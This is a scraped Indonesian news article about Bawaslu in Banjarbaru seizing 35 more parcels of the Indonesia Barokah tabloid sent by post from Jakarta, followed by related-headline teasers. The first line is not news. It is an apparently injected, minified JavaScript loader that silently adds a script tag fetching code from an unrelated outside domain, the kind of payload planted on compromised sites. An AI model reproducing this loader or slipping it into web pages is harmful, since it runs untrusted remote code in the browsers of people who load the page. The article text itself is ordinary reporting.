(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, 35 Koli berisikan tabloid Indonesia Barokah kembali disita Bawaslu Kalsel dan Bawaslu Banjarbaru. Hal ini berhasil diketahui pihak Kantor Pos Sentral Pengelolahan Pos (SPP) Banjarmasin di Jalam A Yani Km 33 Kecamatan Landasan Ulin Kota Banjarbaru dengan mengamati label yang terpasang pada koli pengiriman.
Sama pada peristiwa sebelumnya, 35 koli tabloid kali ini seluruhnya terbagi dalam 2 hari kedatangan. Yaitu pada Selasa (29/1) sore yang mana pihak Bawaslu baru saja merekap temuan mereka atas 38 Koli berisi 3.922 amplop yang telah diserahkan Kantor Pos SPP Banjarmasin.
Sedangkan pada Rabu (30/1), puluhan koli kembali berdatangan sejak pagi hingga siang hari. Dirincikan, awalnya hanya 3 Koli pada Selasa sore dan melonjak jumlahnya dengan kedatangan 32 Koli pada hari ini. Usai dihitung, Bawaslu mencatat ada sebanyak 3.093, amplop yang berisikan Tabloid Indonesia Barokah.
Sehingga jika ditotalkan dengan temuan sebelumnya maka ada 73 koli yang dengan total 7.087 amplop (38 Koli berisi 3.922 amplop dan 35 Koli berisi 3.093 amplop). Tidak berbeda, 35 koli yang disita ini masih sama halnya lewat pengiriman jalur laut dan dikirim melalui Kantor Pos yang berada di Jakarta Selatan.
Usai melakukan rekap, Kantor Pos SPP Banjarmasin kemudian menyerahkan 35 Koli temuan hari ini kepada pihak Bawaslu untuk diamankan terlebih dulu pada Rabu sorenya.
Ketua Bawaslu Banjarbaru Dahtiar SH mengatakan 35 koli tersebut selanjutnya diamankan di kantor Bawaslu Banjarbaru. “Sebenarnya wewenang Bawaslu Kalsel, tapi karena arahan dari sana untuk dititipkan dulu di Bawaslu Banjarbaru, maka kita bawa ke kantor,” ujarnya.
Terkait masih adanya paket kiriman tabloid kontroversial ini, Manager Antara Kantor Pos SPP Banjarmasin Novriadi Agniva mengatakan pihaknya masih belum mengetahui hal tersebut karena pihak Kantor Pos Jakarta Selatan tidak menginformasikan berapa jumlah pengiriman yang ditujukan ke Kalimantan. Sedangkan untuk membedakan paket kirim yang berisikan Tabloid Indonesia Barokah, Novriadi mengatakan ada perbedaan dijumlah label yang terpasang koli.
“Kalau koli biasa dia hanya 1 label. Kalau yang berisi tabloid bersifat isu sara ini ada 2 label. Di salah satu labelnya menyertakan nama kabupaten kota yang dikirim” bebernya.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
This website uses cookies.